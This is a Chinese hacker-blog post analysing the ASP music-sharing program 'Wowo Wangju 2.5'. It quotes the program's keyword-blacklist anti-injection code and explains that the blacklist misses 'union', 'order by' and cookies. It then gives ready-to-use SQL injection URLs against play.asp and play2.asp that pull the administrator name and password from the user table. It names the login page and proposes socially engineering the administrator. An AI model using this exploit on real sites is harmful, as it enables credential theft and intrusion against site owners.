code by Link
blog: www.link0day.cn
转载请注明 老话了
官方是这样说这套系统的:
窝窝网聚 音乐分享 V 2.5
2.5版更新:
1.添加歌词同步功能;
2.解决播放器在其它浏览器不兼容的问题;
3.修改数据库连接导致的错误;
4.首页界面美化;
模仿一个音乐网站制作的一个简单音乐分享程序,适合个人站点使用。
代码比较简单,也适合新手学习。界面简单,美观。
主要功能:
添加音乐,评论,按播放次数排行,同步显示歌词。
后台可以修改,审核提交的歌曲,管理评论。
好可怜的功能 少到没有办法拿shell~
不过假如我们遇到一个大站 有一个分站是用这套程序的话 那么我们可以尝试利用该漏洞爆其密码 然后对管理员进行社工~ 废话不多说 我们看代码
许多文件都包含了conn.asp 我们先看那里怎么写的把:
<%
on error resume next
set conn=Server.CreateObject("ADODB.Connection")
conn.open "Driver={Microsoft Access Driver (*.mdb)};DBQ="&Server.MapPath("data/#data.mdb")
%>
<%
'ASP通用防注入代码
'''''''''''''''''''''''''''''''''
Page_Path = LCase(Cstr(Request.ServerVariables("PATH_INFO")))
IF InStr(Page_Path,"adminzrb")=0 Then
Dim GetFlag Rem(提交方式)
Dim ErrorSql Rem(非法字符)
Dim RequestKey Rem(提交数据)
Dim ForI Rem(循环标记)
ErrorSql = "'~;~and~(~)~exec~update~count~*~%~chr~mid~master~truncate~char~declare"
ErrorSql = split(ErrorSql,"~")
If Request.ServerVariables("REQUEST_METHOD")="GET" Then
GetFlag=True
Else
GetFlag=False
End If
If GetFlag Then
For Each RequestKey In Request.QueryString
For ForI=0 To Ubound(ErrorSql)
If Instr(LCase(Request.QueryString(RequestKey)),ErrorSql(ForI))<>0 Then
response.write "<script>alert(""警告:\n请不要使用敏感字符"");location.href=""index.asp"";</script>"
Response.End
End If
Next
Next
Else
For Each RequestKey In Request.Form
For ForI=0 To Ubound(ErrorSql)
If Instr(LCase(Request.Form(RequestKey)),ErrorSql(ForI))<>0 Then
response.write "<script>alert(""警告:\n请不要使用敏感字符"");location.href=""index.asp"";</script>"
Response.End
End If
Next
Next
End If
End IF
%>
这是一个防注入文件 过滤了post 和get 但是没有过滤好cookies cookies注入暂且不说(不过也难利用 因为过滤好了几个关键字眼 例如%)
先不说这个。。 有没有看到 我们可爱的union不在里面~? 嘿嘿 那样就证明 可以union爆~
有没有留意到没有order by没在黑名单里面? 嘿 再一次YD下~~
剩下来的工作就是找变量了~ 找啊找啊找 找到好几个~
play.asp:
是这样的~
好了 给出exp :
www.xxx.com/play.asp?id=** union select 1,admin_name,3,4,5,admin_pwd,7,8,9,10 from user
www.xxx.com/play2.asp?id=** union select 1,admin_name,3,4,5,admin_pwd,7,8,9,10 from user
登陆页面是 /login.asp
原创文章如转载,请注明:转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]
本文链接地址:http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/wowowangju.html